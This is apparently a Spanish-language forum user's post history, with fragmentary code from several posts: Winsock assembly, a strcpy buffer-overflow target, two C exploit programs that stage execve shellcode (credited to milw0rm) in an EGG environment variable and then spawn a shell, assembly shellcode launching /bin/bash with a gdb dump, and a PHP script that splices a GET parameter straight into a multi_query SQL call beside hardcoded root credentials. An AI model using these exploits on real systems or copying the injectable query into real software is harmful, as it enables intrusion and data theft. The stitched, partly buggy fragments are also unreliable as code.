ya lo logre, no se que hice pero despues de unos intentos se conecto, y lo volvi a intentar por si solo fue suerte y aun sigue conectadose
gracias, salu2
gracias, salu2
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú.686
.model flat, stdcall
option casemap:none
extrn ExitProcess@4:PROC
extrn WSAStartup@8:PROC
extrn socket@12:PROC
extrn connect@12:PROC
extrn send@16:PROC
WSADATA STRUCT 8
wVersion WORD ?
wHighVersion WORD ?
iMaxSocket WORD ?
iMaxUdpDg WORD ?
lpVendorInfo DWORD ?
szDescription SBYTE 257 dup (?)
szSystemStatus SBYTE 129 dup (?)
WSADATA ENDS
sockaddr STRUCT
sa_family WORD ?
sa_port WORD ?
sa_addr DWORD ?
BYTE 8 dup (?)
sockaddr ENDS
.const
address sockaddr<2, 0B922h, 0100007Fh>
sbuff BYTE "hola mundo",0
.data?
wsadata WSADATA <>
Socket DWORD ?
.code
Start proc
push ebp
mov ebp, esp
lea edx, wsadata
mov ecx, 2h
call WSAStartup@8
mov edx, 0h
mov ecx, 1h
mov ebx, 2h
call socket@12
mov Socket, eax
mov edx, 16h
lea ecx, address
mov ebx, Socket
call connect@12
mov edx, 0h
mov ecx, SIZEOF sbuff
mov ebx, offset sbuff
mov eax, Socket
call send@16
mov eax, 0
call ExitProcess@4
mov esp, ebp
pop ebp
Start endp
END
#include <stdio.h>
#include <string.h>
main(int argc, char **argv){
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
// shellcode ripped from http://www.milw0rm.com/shellcode/444
char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\xaa\xaa\xaa\xaa";
#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\xe0\xcf\xff\xff";
#define NOP 0x90
main()
{
char buffer[92];
memset(buffer, NOP, 92);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+84, retaddr, 4);
memcpy(buffer+88, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
.text
.global _start
_start:
jmp MyCallStatement
ShellCode:
popl %esi
xorl %eax, %eax
movb %al, 0x9(%esi)
movl %esi, 0xa(%esi)
movl %eax, 0xe(%esi)
movb $11, %al
movl %esi, %ebx
leal 0xa(%esi), %ecx
leal 0xe(%esi), %edx
int $0x80
MyCallStatement:
call ShellCode
ShellVariables:
.ascii "/bin/bashABBBBCCCC"
[BITS 32]
section .text
global _start
_start:
jmp callstatment
shellcode:
pop esi
xor eax, eax
mov byte[esi + 0x9], al
mov dword[esi + 0xA], esi
mov dword[esi + 0xE], eax
mov byte al, 11
mov ebx, esi
lea ecx, [esi + 0x9]
lea edx, [esi + 0xE]
int 0x80
callstatment:
call shellcode
shellvariable: db "/bin/bashABBBBCCCC",0
0x08048065 in shellcode ()
Dump of assembler code for function shellcode:
0x08048062 <+0>: pop %esi
0x08048063 <+1>: xor %eax,%eax
=> 0x08048065 <+3>: mov %al,0x9(%esi)
0x08048068 <+6>: mov %esi,0xa(%esi)
0x0804806b <+9>: mov %eax,0xe(%esi)
0x0804806e <+12>: mov $0xb,%al
0x08048070 <+14>: mov %esi,%ebx
0x08048072 <+16>: lea 0x9(%esi),%ecx
0x08048075 <+19>: lea 0xe(%esi),%edx
0x08048078 <+22>: int $0x80
mov byte[esi + 0x9], al
$mysql = new mysqli("localhost", "root", "pass", "prueba");
$mysqli = new mysqli("localhost", "root", "pass", "prueba");
<?php
include('funcion.php');
$cc=$_GET['cedula'];
if($resultset = getSQLResultSet("SELECT cedula,nombre,apellido,direccion,telefono FROM `tablaprueba` where cedula = '$cc'")){
while($row = $resultset->fetch_array(MYSQLI_NUM)){
echo json_encode($row);
}
}
?>
header('Content Type= text/html; charset=utf-8');
function getSQLResultSet($commando){
$mysql = new mysqli("localhost", "root", "pass", "prueba");
if($mysqli->connect_errno){
printf("conexion fallida: %s", $mysqli->connect_errno);
exit();
}
if($mysqli->multi_query($commando)){
return $mysqli->store_result();
}
$mysqli->close();
}
?>
; -------------------------------------------------
; int strcmp(char *a, char *b)
; -------------------------------------------------
strcmp:
push ebx
strcmp_loop:
mov eax, [esp + 0x08]
mov al, byte [eax]
mov ebx, [esp + 0x0C]
cmp al, byte [ebx]
jne strcmp_not_equal
cmp al, 0
je strcmp_equal
inc dword [esp + 0x0C]
inc dword [esp + 0x08]
jmp strcmp_loop
strcmp_not_equal:
mov eax, 0
jmp strcmp_end
strcmp_equal:
mov eax, 1
strcmp_end:
pop ebx
ret 8
mov ecx, 5
mov edi, buf1
mov esi, replu
cld
repe cmpsb
je plus
st_lo:
mov al, byte[buf1]
mov bl, byte[replu]
cmp al, bl
jne end
cmp al, 0
je plus
inc byte[buf1]
inc byte[replu]
jmp st_lo
Citarsi estas bien amigo sigue asi y seras alguen en la vida
push 12
push 20
---------------------
|12| 12 bytes <<-------------
|20| 8 bytes <<-------------
|ret| 4 bytes <<-------------
--------------------------
call suma
----------------------------
suma:
push ebp
|12| 12 bytes <<-------------
|20| 8 bytes <<-----------------------
|ret| 4 bytes <<-------------
|EBP| - antigua direccion <<-------------
--------------------------
mov ebp, esp
|ret| 4 bytes <<-------------
|EBP| - antigua direccion - 4 bytes <<-------------
|12| 8 bytes <<-------------
|20| 12 bytes <<-------------
mov ah, 1
mov bh, 4
mov cx, [ebp - 8]
mov dx, [ebp - 12]
add cx, dx
int 0x80
--------------------------
mov esp, ebp
|12| 12 bytes <<-------------
|20| 8 bytes <<-------------
|ret| 4 bytes <<-------------
|EBP| - antigua direccion <<-------------
-------------------------------
pop ebp
|12| 12 bytes <<-------------
|20| 8 bytes <<-------------
|ret| 4 bytes <<-------------
---------------
salida del programa
mov ah, 1
int 0x80
--------------------------